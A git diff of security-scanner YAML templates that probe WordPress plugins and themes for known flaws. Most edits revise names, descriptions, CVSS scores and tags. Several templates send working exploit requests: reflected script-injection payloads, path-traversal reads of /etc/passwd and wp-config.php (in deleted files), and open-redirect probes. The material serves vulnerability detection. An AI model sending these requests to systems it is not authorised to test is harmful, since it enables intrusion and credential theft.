reflected cross-site scripting. + reference: + - https://wpscan.com/vulnerability/b8415ed5-6fd0-42fe-9201-73686c1871c5 + metadata: + verified: true + google-query: inurl:/wp-content/plugins/wp-analytify + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wp,wordpress,analytify,wpscan,wp-plugin,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/aa404bb?a' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'text/javascript">alert(/XSS/)' + - 'wp-analytify' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 404 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/aspose-file-download.yaml b/vulnerabilities/wordpress/aspose-file-download.yaml index 2c4b91c5d4..dfc4df3018 100644 --- a/vulnerabilities/wordpress/aspose-file-download.yaml +++ b/vulnerabilities/wordpress/aspose-file-download.yaml @@ -1,13 +1,17 @@ id: aspose-file-download info: - name: Wordpress Aspose Cloud eBook Generator - Arbitrary File Retrieval + name: Wordpress Aspose Cloud eBook Generator - Local File Inclusion author: 0x_Akoko severity: high - description: The Aspose Cloud eBook Generator WordPress plugin is affected by an arbitrary file retrieval vulnerability. + description: Wordpress Aspose Cloud eBook Generator is vulnerable to local file inclusion. reference: - https://wpscan.com/vulnerability/7866 - tags: wordpress,wp-plugin,lfi,aspose,ebook + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: aspose,ebook,wpscan,wordpress,wp-plugin,lfi requests: - method: GET @@ -26,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/wordpress/aspose-ie-file-download.yaml b/vulnerabilities/wordpress/aspose-ie-file-download.yaml index ae52c36233..f87fe938e2 100644 --- a/vulnerabilities/wordpress/aspose-ie-file-download.yaml +++ b/vulnerabilities/wordpress/aspose-ie-file-download.yaml @@ -1,14 +1,14 @@ id: aspose-ie-file-download info: - name: Wordpress Aspose Importer & Exporter v1.0 - Arbitrary File Retrieval + name: WordPress Aspose Importer & Exporter 1.0 - Local File Inclusion author: 0x_Akoko severity: high - description: The Aspose importer and Exporter WordPress plugin is affected by an arbitrary file retrieval vulnerability. + description: WordPress Aspose Importer & Exporter version 1.0 is vulnerable to local file inclusion. reference: - https://packetstormsecurity.com/files/131162/ - https://wordpress.org/plugins/aspose-importer-exporter - tags: wordpress,wp-plugin,lfi,aspose + tags: aspose,packetstorm,wordpress,wp-plugin,lfi requests: - method: GET @@ -27,3 +27,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/wordpress/aspose-pdf-file-download.yaml b/vulnerabilities/wordpress/aspose-pdf-file-download.yaml index 48c499bc3a..6b86fb889e 100644 --- a/vulnerabilities/wordpress/aspose-pdf-file-download.yaml +++ b/vulnerabilities/wordpress/aspose-pdf-file-download.yaml @@ -1,14 +1,18 @@ id: aspose-pdf-file-download info: - name: WordPress Aspose PDF Exporter - Arbitrary File Retrieval + name: WordPress Aspose PDF Exporter - Local File Inclusion author: 0x_Akoko severity: high - description: The Aspose.psf Exporter WordPress plugin is affected by an arbitrary file retrieval vulnerability. + description: WordPress Aspose PDF Exporter is vulnerable to local file inclusion. reference: - https://packetstormsecurity.com/files/131161 - https://wordpress.org/plugins/aspose-pdf-exporter - tags: wordpress,wp-plugin,lfi,aspose + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: aspose,packetstorm,wordpress,wp-plugin,lfi requests: - method: GET @@ -27,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/wordpress/aspose-words-file-download.yaml b/vulnerabilities/wordpress/aspose-words-file-download.yaml index ac80fecb8c..25a3c59205 100644 --- a/vulnerabilities/wordpress/aspose-words-file-download.yaml +++ b/vulnerabilities/wordpress/aspose-words-file-download.yaml @@ -1,14 +1,18 @@ id: aspose-words-file-download info: - name: Aspose Words Exporter < 2.0 - Arbitrary File Retrieval + name: WordPress Aspose Words Exporter <2.0 - Local File Inclusion author: 0x_Akoko severity: high - description: The Aspose.Words Exporter WordPress plugin is affected by an arbitrary file retrieval security vulnerability. + description: WordPress Aspose Words Exporter prior to version 2.0 is vulnerable to local file inclusion. reference: - https://wpscan.com/vulnerability/7869 - https://wordpress.org/plugins/aspose-doc-exporter - tags: wordpress,wp-plugin,lfi,aspose + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wordpress,wp-plugin,lfi,aspose,wpscan requests: - method: GET @@ -27,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/wordpress/attitude-theme-open-redirect.yaml b/vulnerabilities/wordpress/attitude-theme-open-redirect.yaml index 3dbd07b8b7..71685b4ac5 100644 --- a/vulnerabilities/wordpress/attitude-theme-open-redirect.yaml +++ b/vulnerabilities/wordpress/attitude-theme-open-redirect.yaml @@ -12,10 +12,10 @@ info: requests: - method: GET path: - - "{{BaseURL}}/wp-content/themes/Attitude/go.php?https://example.com/" + - "{{BaseURL}}/wp-content/themes/Attitude/go.php?https://interact.sh/" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header diff --git a/vulnerabilities/wordpress/avchat-video-chat-xss.yaml b/vulnerabilities/wordpress/avchat-video-chat-xss.yaml new file mode 100644 index 0000000000..0feaccd61a --- /dev/null +++ b/vulnerabilities/wordpress/avchat-video-chat-xss.yaml @@ -0,0 +1,42 @@ +id: avchat-video-chat-xss + +info: + name: WordPress AVChat Video Chat 1.4.1 - Cross-Site Scripting + author: DhiyaneshDK + severity: medium + description: | + WordPress AVChat Video Chat 1.4.1 is vulnerable to reflected cross-site scripting via index_popup.php and multiple parameters. + reference: + - https://codevigilant.com/disclosure/wp-plugin-avchat-3-a3-cross-site-scripting-xss/ + - https://wpscan.com/vulnerability/fce99c82-3958-4c17-88d3-6e8fa1a11e59 + metadata: + verified: true + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: xss,,wp,wpscan,wordpress,wp-plugin + + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/avchat-3/index_popup.php?movie_param=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&FB_appId=FB_appId%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'value="FB_appId">"' + + - type: word + words: + - 'text/html' + part: header + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/brandfolder-lfi.yaml b/vulnerabilities/wordpress/brandfolder-lfi.yaml index 2cb1f03bf0..651afaf02c 100644 --- a/vulnerabilities/wordpress/brandfolder-lfi.yaml +++ b/vulnerabilities/wordpress/brandfolder-lfi.yaml @@ -1,14 +1,18 @@ id: brandfolder-lfi info: - name: Wordpress brandfolder plugin - RFI & LFI + name: Wordpress Brandfolder - Remote/Local File Inclusion author: 0x_Akoko severity: high - description: A vulnerability in WordPress Brandfolder allows remote attackers to access arbitrary files that reside on the local and remote server and disclose their content. + description: WordPress Brandfolder allows remote attackers to access arbitrary files that reside on the local and remote server and disclose their content. reference: - https://www.exploit-db.com/exploits/39591 - https://cxsecurity.com/issue/WLB-2016030120 - tags: wordpress,wp-plugin,lfi,rfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,rfi,edb,wordpress,wp-plugin requests: - method: GET @@ -27,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/wordpress/brandfolder-open-redirect.yaml b/vulnerabilities/wordpress/brandfolder-open-redirect.yaml index 826c966731..6dbc65b78c 100644 --- a/vulnerabilities/wordpress/brandfolder-open-redirect.yaml +++ b/vulnerabilities/wordpress/brandfolder-open-redirect.yaml @@ -1,21 +1,25 @@ id: brandfolder-open-redirect info: - name: WordPress Brandfolder Plugin Open Redirect + name: WordPress Brandfolder - Open Redirect (RFI & LFI) author: 0x_Akoko - severity: low - description: A vulnerability in WordPress Brandfolder allows remote attackers to inject an arbitrary URL into the 'callback.php' endpoint via the 'wp_abspath' parameter which will redirect the victim to it. + severity: medium + description: | + WordPress Brandfolder is vulnerable to remote/local file inclusion and allows remote attackers to inject an arbitrary URL into the 'callback.php' endpoint via the 'wp_abspath' parameter which will redirect the victim to it. reference: - https://www.exploit-db.com/exploits/39591 - tags: wordpress,wp-plugin,lfi,rfi + - https://wpscan.com/vulnerability/f850e182-f9c6-4264-b2b1-e587447fe4b1 + tags: wp,brandfolder,edb,wpscan,wp-plugin,redirect,rfi,wordpress,lfi requests: - method: GET path: - - "{{BaseURL}}/wp-content/plugins/brandfolder/callback.php?wp_abspath=https://example.com/" + - "{{BaseURL}}/wp-content/plugins/brandfolder/callback.php?wp_abspath=https://interact.sh/" matchers: - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/wordpress/cab-fare-calculator-lfi.yaml b/vulnerabilities/wordpress/cab-fare-calculator-lfi.yaml deleted file mode 100644 index a668258b91..0000000000 --- a/vulnerabilities/wordpress/cab-fare-calculator-lfi.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: cab-fare-calculator-lfi - -info: - name: Cab fare calculator 1.0.3 - Unauthenticated Local File Inclusion - author: Hassan Khan Yusufzai - Splint3r7 - severity: high - reference: - - https://www.exploit-db.com/exploits/50843 - - https://wordpress.org/plugins/cab-fare-calculator - tags: wordpress,wp-plugin,lfi,wp - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1' - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/calameo-publications-xss.yaml b/vulnerabilities/wordpress/calameo-publications-xss.yaml new file mode 100644 index 0000000000..cd0c040307 --- /dev/null +++ b/vulnerabilities/wordpress/calameo-publications-xss.yaml @@ -0,0 +1,42 @@ +id: calameo-publications-xss + +info: + name: WordPress Manage Calameo Publications 1.1.0 - Cross-Site Scripting + author: DhiyaneshDK + severity: medium + description: | + WordPress Manage Calameo Publications 1.1.0 is vulnerable to reflected cross-site scripting via thickbox_content.php and the attachment_id parameter. + reference: + - https://codevigilant.com/disclosure/wp-plugin-athlon-manage-calameo-publications-a3-cross-site-scripting-xss/ + - https://wpscan.com/vulnerability/83343eb3-bb4c-4b82-adf6-745882f872cc + - https://wordpress.org/plugins/athlon-manage-calameo-publications/ + metadata: + verified: true + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wordpress,wp-plugin,xss,wp,wpscan + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/athlon-manage-calameo-publications/thickbox_content.php?attachment_id=id%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%26" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'ath_upload_calameo_publication(id\">&)' + + - type: word + part: header + words: + - 'text/html' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/checkout-fields-manager-xss.yaml b/vulnerabilities/wordpress/checkout-fields-manager-xss.yaml new file mode 100644 index 0000000000..c432420d9e --- /dev/null +++ b/vulnerabilities/wordpress/checkout-fields-manager-xss.yaml @@ -0,0 +1,50 @@ +id: checkout-fields-manager-xss + +info: + name: WordPress Checkout Fields Manager for WooCommerce <5.5.7 - Cross-Site Scripting + author: Akincibor + severity: medium + description: WordPress Checkout Fields Manager for WooCommerce 5.5.7 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting. + reference: + - https://wpscan.com/vulnerability/ea617acd-348a-4060-a8bf-08ab3b569577 + - https://wordpress.org/plugins/woocommerce-checkout-manager + metadata: + verified: true + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: xss,wp,wordpress,authenticated,woocommerce,wpscan,wp-plugin + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/admin.php?page=wc-settings&tab=wooccm§ion=advanced&">--> HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '>-->&action=wooccm_nuke_options&' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/cherry-file-download.yaml b/vulnerabilities/wordpress/cherry-file-download.yaml index 8ebd3cd3c1..665eda9bea 100644 --- a/vulnerabilities/wordpress/cherry-file-download.yaml +++ b/vulnerabilities/wordpress/cherry-file-download.yaml @@ -12,7 +12,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cwe-id: CWE-22 - tags: wordpress,wp-plugin,lfi + tags: wordpress,wp-plugin,lfi,wpscan requests: - method: GET diff --git a/vulnerabilities/wordpress/cherry-lfi.yaml b/vulnerabilities/wordpress/cherry-lfi.yaml index b0b6c0a44f..12b2f06f01 100644 --- a/vulnerabilities/wordpress/cherry-lfi.yaml +++ b/vulnerabilities/wordpress/cherry-lfi.yaml @@ -13,7 +13,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cwe-id: CWE-22 - tags: wordpress,wp-plugin,lfi,wp + tags: wpscan,wordpress,wp-plugin,lfi,wp requests: - method: GET diff --git a/vulnerabilities/wordpress/church-admin-lfi.yaml b/vulnerabilities/wordpress/church-admin-lfi.yaml index 9885353c52..0817d5972e 100644 --- a/vulnerabilities/wordpress/church-admin-lfi.yaml +++ b/vulnerabilities/wordpress/church-admin-lfi.yaml @@ -1,14 +1,18 @@ id: church-admin-lfi info: - name: Church Admin 0.33.2.1 - Unauthenticated Directory Traversal + name: WordPress Church Admin 0.33.2.1 - Local File Inclusion author: 0x_Akoko severity: high - description: The "key" parameter of download.php from plugins/church-admin/display/download.php is not sanitized and is vulnerable to a directory traversal type of attack. + description: WordPress Church Admin 0.33.2.1 is vulnerable to local file inclusion via the "key" parameter of plugins/church-admin/display/download.php. reference: - https://wpscan.com/vulnerability/8997 - https://id.wordpress.org/plugins/church-admin/ - tags: wordpress,wp-plugin,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wordpress,wp-plugin,lfi,wpscan requests: - method: GET @@ -25,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/05 diff --git a/vulnerabilities/wordpress/churchope-lfi.yaml b/vulnerabilities/wordpress/churchope-lfi.yaml index a0f1465b83..9ad46eccf8 100644 --- a/vulnerabilities/wordpress/churchope-lfi.yaml +++ b/vulnerabilities/wordpress/churchope-lfi.yaml @@ -9,7 +9,7 @@ info: - https://wpscan.com/vulnerability/3c5833bd-1fe0-4eba-97aa-7d3a0c8fda15 classification: cwe-id: CWE-22 - tags: wordpress,wp-theme,lfi,wp + tags: wp,wpscan,wordpress,wp-theme,lfi requests: - method: GET diff --git a/vulnerabilities/wordpress/clearfy-cache-xss.yaml b/vulnerabilities/wordpress/clearfy-cache-xss.yaml new file mode 100644 index 0000000000..2ec2d9d0af --- /dev/null +++ b/vulnerabilities/wordpress/clearfy-cache-xss.yaml @@ -0,0 +1,50 @@ +id: clearfy-cache-xss + +info: + name: WordPress Clearfy Cache <2.0.5 - Cross-Site Scripting + author: Akincibor + severity: medium + description: WordPress Clearfy Cache 2.0.5 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting. + reference: + - https://wpscan.com/vulnerability/a59e7102-13d6-4f1e-b7b1-75eae307e516 + - https://wordpress.org/plugins/clearfy + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: xss,wp,wordpress,authenticated,clearfy-cache,wpscan,wp-plugin + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/admin.php?page=gonzales-wbcr_clearfy&action=index&wbcr_assets_manager=1&a"> HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">' + - "Webcraftic Clearfy - WordPress optimization plugin" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/curcy-xss.yaml b/vulnerabilities/wordpress/curcy-xss.yaml new file mode 100644 index 0000000000..c6a2793e0a --- /dev/null +++ b/vulnerabilities/wordpress/curcy-xss.yaml @@ -0,0 +1,50 @@ +id: curcy-xss + +info: + name: WordPress CURCY - Multi Currency for WooCommerce <2.1.18 - Cross-Site Scripting + author: Akincibor + severity: medium + description: WordPress CURCY - Multi Currency for WooCommerce 2.1.18 does not escape some generated URLs before outputting them back in attributes, leading to reflected cross-site scripting. + reference: + - https://wpscan.com/vulnerability/6ebafb52-e167-40bc-a86c-b9840b2b9b37 + - https://wordpress.org/plugins/woo-multi-currency + metadata: + verified: true + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wp-plugin,xss,wp,wordpress,authenticated,curcy,wpscan + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/admin.php?page=wc-reports&a"> HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'wc-reports&a\">">All' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/db-backup-lfi.yaml b/vulnerabilities/wordpress/db-backup-lfi.yaml deleted file mode 100644 index 48dcb57edf..0000000000 --- a/vulnerabilities/wordpress/db-backup-lfi.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: db-backup-lfi - -info: - name: DB Backup <= 4.5 - Path Traversal File Access - author: dhiyaneshDK - severity: high - description: WordPress Plugin DB Backup is prone to a directory traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive - information that could aid in further attacks. WordPress Plugin DB Backup version 4.5 is vulnerable; prior versions may also be affected. - reference: - - https://wpscan.com/vulnerability/d3f1e51e-5f44-4a15-97bc-5eefc3e77536 - - https://www.exploit-db.com/exploits/35378 - tags: wordpress,wp-plugin,lfi,wp - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "DB_NAME" - - "DB_PASSWORD" - condition: and - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/diarise-theme-lfi.yaml b/vulnerabilities/wordpress/diarise-theme-lfi.yaml index 366df9bb91..c40168260b 100644 --- a/vulnerabilities/wordpress/diarise-theme-lfi.yaml +++ b/vulnerabilities/wordpress/diarise-theme-lfi.yaml @@ -11,7 +11,7 @@ info: - https://woocommerce.com/?aff=1790 classification: cwe-id: CWE-98 - tags: wordpress,wp-theme,lfi + tags: packetstorm,wordpress,wp-theme,lfi requests: - method: GET diff --git a/vulnerabilities/wordpress/dzs-zoomsounds-listing.yaml b/vulnerabilities/wordpress/dzs-zoomsounds-listing.yaml index f83ef7300e..30a926ddec 100644 --- a/vulnerabilities/wordpress/dzs-zoomsounds-listing.yaml +++ b/vulnerabilities/wordpress/dzs-zoomsounds-listing.yaml @@ -1,25 +1,25 @@ -id: dzs-zoomsounds-listing +id: dzs-zoomsounds-listing -info: - name: WordPress Plugin dzs zoomsounds - author: pussycat0x - severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. - tags: wordpress,listing,wp-plugin,wp +info: + name: WordPress Plugin dzs zoomsounds + author: pussycat0x + severity: info + description: Searches for sensitive directories present in the dzs-zoomsounds plugin. + tags: wordpress,listing,wp-plugin,wp -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/dzs-zoomsounds/" - - matchers-condition: and - matchers: - - type: word - words: - - "Index of" - - "/wp-content/plugins/dzs-zoomsounds" - condition: and - - - type: status - status: - - 200 +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/dzs-zoomsounds/" + + matchers-condition: and + matchers: + - type: word + words: + - "Index of" + - "/wp-content/plugins/dzs-zoomsounds" + condition: and + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/easy-media-gallery-pro-listing.yaml b/vulnerabilities/wordpress/easy-media-gallery-pro-listing.yaml index de7c8f2d98..c1f0acf393 100644 --- a/vulnerabilities/wordpress/easy-media-gallery-pro-listing.yaml +++ b/vulnerabilities/wordpress/easy-media-gallery-pro-listing.yaml @@ -1,25 +1,25 @@ -id: easy-media-gallery-pro-listing +id: easy-media-gallery-pro-listing -info: - name: WordPress Plugin Media Gallery Pro Listing - author: pussycat0x - severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. - reference: https://www.exploit-db.com/ghdb/6455 - tags: wordpress,listing,wp-plugin +info: + name: WordPress Plugin Media Gallery Pro Listing + author: pussycat0x + severity: info + description: Searches for sensitive directories present in the easy-media-gallery-pro plugin. + reference: https://www.exploit-db.com/ghdb/6455 + tags: wordpress,listing,wp-plugin -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/easy-media-gallery-pro/" - - matchers-condition: and - matchers: - - type: word - words: - - "Index of" - - "wp-content/plugins/easy-media-gallery-pro/" - condition: and - - type: status - status: - - 200 +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/easy-media-gallery-pro/" + + matchers-condition: and + matchers: + - type: word + words: + - "Index of" + - "wp-content/plugins/easy-media-gallery-pro/" + condition: and + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/eatery-restaurant-open-redirect.yaml b/vulnerabilities/wordpress/eatery-restaurant-open-redirect.yaml index 376ae78efd..dc107058d4 100644 --- a/vulnerabilities/wordpress/eatery-restaurant-open-redirect.yaml +++ b/vulnerabilities/wordpress/eatery-restaurant-open-redirect.yaml @@ -1,21 +1,22 @@ id: eatery-restaurant-open-redirect info: - name: WordPress Attitude Themes 1.1.1 Open Redirection + name: WordPress Eatery Restaurant Themes < 2.2 - Open Redirection author: 0x_Akoko severity: low - description: The WordPress Attitude Themes allows remote attackers to redirect users to an attacker controlled URL. + description: | + WordPress Eatery Restaurant Themes 2.2 accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect reference: - https://cxsecurity.com/issue/WLB-2020030183 - tags: wordpress,wp-theme,redirect + tags: wordpress,wp-theme,redirect,wp requests: - method: GET path: - - "{{BaseURL}}/wp-content/themes/eatery/nav.php?-Menu-=https://example.com/" + - "{{BaseURL}}/wp-content/themes/eatery/nav.php?-Menu-=https://interact.sh/" matchers: - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' diff --git a/vulnerabilities/wordpress/elex-woocommerce-xss.yaml b/vulnerabilities/wordpress/elex-woocommerce-xss.yaml index 0a91138dfb..e409cba5e8 100644 --- a/vulnerabilities/wordpress/elex-woocommerce-xss.yaml +++ b/vulnerabilities/wordpress/elex-woocommerce-xss.yaml @@ -1,7 +1,7 @@ id: elex-woocommerce-xss info: - name: WordPress WooCommerce Google Shopping < 1.2.4 - Reflected Cross-Site Scripting + name: WordPress WooCommerce Google Shopping < 1.2.4 - Cross-Site Scripting author: dhiyaneshDk severity: high description: WordPress WooCommerce Google Shopping < 1.2.4 is susceptible to cross-site scripting because the plugin does not sanitize or escape the search GET parameter before outputting it back in the page and @@ -12,7 +12,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 - tags: wordpress,wp-plugin,xss,authenticated,woocommerce + tags: wp-plugin,xss,authenticated,woocommerce,wpscan,wordpress requests: - raw: diff --git a/vulnerabilities/wordpress/feedwordpress-xss.yaml b/vulnerabilities/wordpress/feedwordpress-xss.yaml deleted file mode 100644 index 20cc24cc81..0000000000 --- a/vulnerabilities/wordpress/feedwordpress-xss.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: feedwordpress-xss - -info: - name: FeedWordPress < 2022.0123 - Reflected Cross-Site Scripting (XSS) - author: dhiyaneshDk - severity: medium - description: The plugin is affected by a Reflected Cross-Site Scripting (XSS) within the "visibility" parameter. - reference: - - https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571 - tags: wordpress,wp-plugin,xss,feedwordpress,authenticated - -requests: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D2+onerror%3Dalert%28document.domain%29%3E HTTP/1.1 - Host: {{Hostname}} - - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - '">" method="post">' - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/flow-flow-social-stream-xss.yaml b/vulnerabilities/wordpress/flow-flow-social-stream-xss.yaml index af1015d333..c1341f0c0f 100644 --- a/vulnerabilities/wordpress/flow-flow-social-stream-xss.yaml +++ b/vulnerabilities/wordpress/flow-flow-social-stream-xss.yaml @@ -1,12 +1,17 @@ id: flow-flow-social-stream-xss info: - name: Flow-Flow Social Stream <= 3.0.71 - Cross-Site Scripting + name: WordPress Flow-Flow Social Stream <=3.0.71 - Cross-Site Scripting author: alph4byt3 severity: medium + description: WordPress Flow-Flow Social Stream 3.0.7.1 and prior is vulnerable to cross-site scripting. reference: - https://wpscan.com/vulnerability/8354b34e-40f4-4b70-bb09-38e2cf572ce9 - tags: xss,wordpress + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: xss,wordpress,wpscan requests: - method: GET @@ -30,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/hb-audio-lfi.yaml b/vulnerabilities/wordpress/hb-audio-lfi.yaml index 4a0e7ea744..2d7e38cca5 100644 --- a/vulnerabilities/wordpress/hb-audio-lfi.yaml +++ b/vulnerabilities/wordpress/hb-audio-lfi.yaml @@ -1,14 +1,19 @@ id: hb-audio-lfi info: - name: Wordpress Plugin HB Audio Gallery Lite - Arbitrary File Retrieval + name: Wordpress HB Audio Gallery Lite - Local File Inclusion author: dhiyaneshDK severity: high + description: Wordpress HB Audio Gallery Lite is vulnerable to local file inclusion. reference: - https://packetstormsecurity.com/files/136340/WordPress-HB-Audio-Gallery-Lite-1.0.0-Arbitrary-File-Download.html metadata: - google-dork: inurl:/wp-content/plugins/hb-audio-gallery-lite - tags: wordpress,wp-plugin,lfi,wp + google-query: inurl:/wp-content/plugins/hb-audio-gallery-lite + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wp,packetstorm,wordpress,wp-plugin,lfi requests: - method: GET @@ -27,3 +32,5 @@ requests: - 